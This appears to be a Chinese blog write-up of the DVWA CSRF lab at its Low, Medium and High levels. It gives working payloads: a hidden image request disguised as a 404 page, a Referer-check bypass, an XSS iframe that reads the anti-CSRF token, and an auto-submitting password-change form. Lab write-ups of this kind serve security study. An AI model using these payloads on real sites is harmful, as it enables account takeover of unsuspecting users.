【DVWA】CSRF
【CSRF】
全稱Cross-site request forgery,翻譯過來就是跨站請求偽造,是指利用受害者尚未失效的身份認證資訊(cookie、會話等),誘騙其點選惡意連結或者訪問包含攻擊程式碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證資訊所對應的)伺服器傳送請求,從而完成非法操作(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用。
【Low】
伺服器收到修改密碼的請求後,會檢查引數password_new與password_conf是否相同,如果相同,就會修改密碼,並沒有任何的防CSRF機制。
Ⅰ.通過構造連結,誘導使用者點選:
但是這樣很拙劣…一眼就可以看出來,而且會跳轉到提示密碼更改成功的頁面。在做滲透測試的時候可以用,但是實際的攻擊中一般情況下是不會攻擊成功的。
Ⅱ.偽造攻擊頁面:
<img src="http://192.168.133.128/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404 ERROR !<h1> <h2>Files Not Found.<h2>
我們可以使用上面這一段指令碼,儲存成一個.html檔案,誘騙使用者點選這個頁面的連結,然後使用者會看到一個如下的頁面,類似一個404錯誤頁面:
但是在他們的不知道的時候,密碼已經被更改了:
【Medium】
stripos(string,find,start)
string:必需。規定被搜尋的字串。
find:必需。規定要查詢的字元。
start:可選。規定開始搜尋的位置。
返回值:返回字串在另一字串中第一次出現的位置,如果沒有找到字串則返回 FALSE。
所以上面的PHP程式碼是在referer欄位裡面找主機名,我這裡的主機名是192.168.133.128。
這個級別的CSRF,說實話,想了很久沒有想起來怎麼搞,後來去網上一搜,有個大佬在freebuf上寫的一篇文章裡說是將檔案命名為主機名,即192.168.133.128.html就可以了,所以我就來試了一下。因為需要referer欄位,所以我們必須把這個指令碼放在伺服器上。
(因為我只在一臺虛擬機器上搭建了伺服器,所以我又費了九牛二虎之力又搭建了一個伺服器…)
【High】
High級別的程式碼加入了Anti-CSRF token機制進行使用者的token驗證,來鑑定使用者的身份。所以我們要利用token進行繞過CSRF。
①首先我們需要先獲取使用者token…由於現在都已經不支援跨域請求訪問了,所以我們只能從別的地方入手獲取token,嘗試了很久之後發現可以利用下面的指令碼在XSS(Stored)的Name引數進行XSS攻擊,獲取使用者token。
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
然後利用下面的指令碼構造攻擊頁面進行攻擊,但是有點問題,因為攻擊成功之後會顯示提示密碼修改成功的頁面。
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.133.128/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type='hidden' name='user_token' value="52ba1c9c2a51e07e50d9ad596f0822c0">
<input type="hidden" name="Change" value="Change">
</form>
</body>
一時半會還沒想到怎麼解決這個問題。後面再說,先寫到這裡。Impossible級別就是加入了PDO技術防注入並且在修改密碼之前要求使用者輸入原密碼進行驗證,所以是相對安全的。